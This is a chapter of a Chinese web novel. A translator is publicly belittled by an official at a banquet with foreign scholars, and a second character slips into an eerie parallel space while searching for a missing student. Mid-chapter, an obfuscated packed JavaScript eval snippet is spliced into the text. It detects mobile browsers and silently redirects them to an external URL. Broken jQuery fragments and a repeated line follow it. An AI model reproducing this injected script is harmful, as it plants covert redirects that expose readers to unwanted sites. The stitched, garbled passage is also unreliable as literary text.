河边杂志社成立的宗旨在于记录民间真实故事，伴随着这座小城一代人历经时代变迁成长起来，如今虽然地位在业界数一数二，但生存却岌岌可危。由于电子媒体的盛行，老牌的纸质杂志处于随时停刊的状况。


    就是因为这样，外国学者访问，他们的翻译员显得有些寒酸了。


    “这才有我们赚这份钱的机会，要是做得好了，也能接到一些翻译信件、报告、文学作品这样的任务，对我们的长期合作关系至关重要。”老板再次打量一番南冬雪，对她今天的着装表示肯定，“黑发红唇，很好，显得很有精神，把头发放下来吧，有女人味。今天你的任务只是跟着我就好，多多体验这种工作环境。你的翻译能力绰绰有余，只是与人交往总是显得心虚。”


    南冬雪脱掉冬日厚重的呢子外套，露出内里一条修身的黑色羊毛针织长裙，大面积裸露的脖子上戴了一条不显眼的单颗珍珠项链，一双走路不会发出“哒哒”声的裸色高跟鞋。长长的头发散落在肩上，让她的脸看起来更小。两只大眼睛和红唇最吸人眼球，整个人又表现出一种温柔娴静的气质。


    老板的手搭在南冬雪肩膀上，揽着她往镜子前一站。一个气场强大，一个小鸟依人，皆是明艳的都市丽人。


    “很漂亮嘛！自信点儿，挺起胸膛，大声说话。”


    衣服是妙华挑的，妆是她一早赶过来帮自己化的。来到这里之后，口红的颜色老板改的。


    镜子里的人熟悉又陌生。南冬雪从来没想过，自己也可以和颖姐这样的人站在一起，像她一样绚烂夺目。就算只是假装，这让她产生了信心：自己以后也会变成这样，一直这样，开心自信的活着。


    有人来了。老板上前去迎接、客套。南冬雪慢慢走过去，尽量不破坏自己刚刚在镜中的形象。


    走廊有些昏暗。两侧墙壁上挂着组织关系和一些公告。


    她随机瞥了一眼，看到了一个熟悉面孔。目光向下，他的名字：宋敏安。这是位透着浓浓书生气的老先生，看容貌约莫五十五岁，实际年龄会大一些。


    正同颖姐谈话的人，正是宋敏安。


    他打开办公室的门，“请进。”


    目光不失分寸的逡巡在南冬雪脸上。他热情地倒了两杯茶水送到两人手上，礼貌询问，“这位是……”


    “这是我的员工，叫南冬雪。今天跟我来学习学习，宋主任，我之前和你打过招呼的。”颖姐说。


    南冬雪眼神直勾勾看他，“宋主任您好。”


    宋敏安不怯不惊，温文儒雅，看起来是光明磊落，令人尊敬的一位学者。


    “来得正好。方博士，俄国学者十点到，我们的车现在得出发去接了。您的这位员工正好留下来教我几句打招呼的×语怎么样？我想在远客面前表现得亲切一些。”


    “小南，你可以留下来帮忙吗？”


    该怎么说“不可以”？南冬雪说不出来。这关系着日后的业务往来。她不能不满足甲方的如此简单的要求。


    南冬雪刚要开口，老板又说，“宋主任，我还是带着她好了，没经验，要是教错了那我可该怎么负责呀？您要是想学，我们线上联系怎么样？”


    “可是车上没有那么多位置。”宋敏安说，“要不然我开车带你们去？回来的时候方博士你和我们的俄国学者坐在一辆车里，照顾一下他们，我带着你的员工返回。”


    南冬雪只好说，“我留下来吧，颖姐，没关系。”


    “有事给我打电话。”临走前，方颖对南冬雪说。她在防着什么，南冬雪也能明白，受到照拂，内心感激不尽。


    恨意支撑着她有勇气独自面对这个人。


    当方颖和一众学者返回来时，看见南冬雪完好无损，状态保持极佳，便快速的投入工作状态之中，谈笑之间，友人问起南冬雪，她也会说上两句，获得了极大的称赞。


    晚间餐桌上，一队学者分成了两部分。一半人想要去参观附近的民间博物馆，这不在安排的活动范围之内，所以方颖主动陪着他们提前离席了。剩下的两个人还在品尝美食，由宋敏安和两名下属作陪，南冬雪充当翻译。


    气氛在南冬雪翻译了一段长达三分钟×语之后陡然生变。


    宋敏安语调未改，仍然斯斯文文、和和气气道，“请大点声，我听不见。”


    南冬雪自知这是短板，从一开始说话，就在用力发出声音，像是早间背诵课文一样。她深觉不妙，再一次尽量大声，稳住说话的音调不变形，重复了一遍中文。


    “请大点声。”宋敏安再次说。声音掷地有声。


    外国友人问南冬雪，“发生了什么事？你们在说什么？宋先生是什么意思？”


    南冬雪请他们稍安勿躁，说自己的翻译出现了错误，正在和宋先生探讨正确的翻译方式。她从包里拿出便携式迷你扩音器戴上，又被宋敏安不耐烦的阻止，作出不愿多看她一眼的表情说，“得了吧，把你那玩意收起来，什么场合你分不清楚吗？制造噪音吗？自己什么水平不知道吗？当什么翻译？”


    “宋先生，这几句需要我翻译吗？”


    宋敏安的两名下属察觉到气氛的转变，借故离开。


    “把你领导叫回来。”宋敏安抛下一句。


    外国人又在问，南冬雪告诉他们说，自己难以胜任，需要请刚刚那位博士来帮忙。


    “那你是要离开了吗？”他们看着南冬雪穿上了外套，起身问道，“稍等，感谢你今天的工作付出，我可以送你一个我们国家的纪念品作为答谢吗？”


    南冬雪同他们礼貌告别之后，从包间走出来，看见方颖已经回来了。此时宋敏安也追出来，用他那文人的皮囊控告道，“方博士，您这位员工太缺乏经验，还很没有礼貌，差点把我们的谈话搞砸。以后还是不要在我们这儿做翻译了，要是换个人我依然欢迎。”


    “发生了什么事？”方颖看看南冬雪，扭过头去问宋敏安。


    “需要我说第二遍吗？方博士，客人问我的问题我还没有回答，请尽快进去帮忙翻译吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065398|162633||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你先回去，明天再说。”方颖拍了拍南冬雪的肩膀，跟着宋民安进了包间。


    门轻轻的关上。


    门轻轻的关上。


    炽连泽刚刚在路上被人撞到，好不容易愈合的伤口再次裂开来。他紧急到医院进行处理，刚刚缝完最后一针，他恍然心慌、头痛。


    “是地震了吗？”这种感觉……


    “没有。你不舒服吗？”


    “有点想吐。”炽连泽看见手心里的那朵花又出现了。


    关上一道门，花会消失。出现的话，说明他可能会进入另外的时间。炽连泽还不确定这个规律是不是准确。他自然是不愿意奇怪的东西留在自己身上。


    刚刚走出医院，队友便打了电话过来，叫他去现场帮一个小忙，人手不够。如果不是情况紧急，没有别的办法，他们是不会打扰正在养伤的伤员的。


    炽连泽来到队友所说的那所学校后围。那边有一片危房，搁置了多年，至今仍然没有拆除。


    深更半夜，一个年轻学生在这里失踪。搜救队早已开始工作，警察也来了，正带着搜救犬寻找线索。


    炽连泽按照队友的指示，举着手机手电筒，越过警戒带，沿着胡同往前走，再转弯，进入一个以前是箱包生产车间的大楼。


    他没有注意到周围的声音和灯光，以及人影，是什么时候消失的。脑海中记忆的指示也捕捉痕迹的变了方向，他毫无察觉。


    他推开了一道门，回头看着它轻轻的关上。


    紧接着看到空空的窗户外，是某个大学的田径场。灯光大亮，一群学生在踢足球。


    那里，这里，是两个世界。一个繁华兴盛，一个空寂无望。


    冬天？踢足球？可能吗？炽连泽觉得伤口在发热，起初不想去在意，往下一道门走去时，浑身都开始发热。


    “砰！”


    “砰！”


    突然的震动仿佛把这寂静世界撕开了一道口子。炽连泽被吓得顿时一身冷汗，他冷静下来，听清楚那是面前那道铁门发出的声音。


    同时，一个女声的哭腔在里面弱弱的响起。


    “有没有人在？”


    “帮我开一下门吧……”


    “能不能帮我开一下门？”


    炽连泽抹了抹汗，把羽绒服拉开来，让自己的脑袋清醒一些，一边朝那铁门走去，一边说，“你就是今晚失踪的那名学生吗？”


    铁门被人从外面用铁棍卡住，除非铁棍被取下，否则无法从里面打开。


    “别着急，我马上放你出来。”


    她的声音很像南冬雪。炽连泽的一颗心绷紧了。


    亮光越来越近，炽连泽的影子渐渐映在门上。


    他伸手去拉那铁棍，如风吹过，眼前的影子豁然壮大，形成了一个人形。


    不，是真正的、拥有实体的人。


    炽连泽没能反应过来，被那一团黑影的人一掌推飞到窗边，半个身体悬在外头。黑影一脚踩在窗沿上，伸手拉住了他的领带。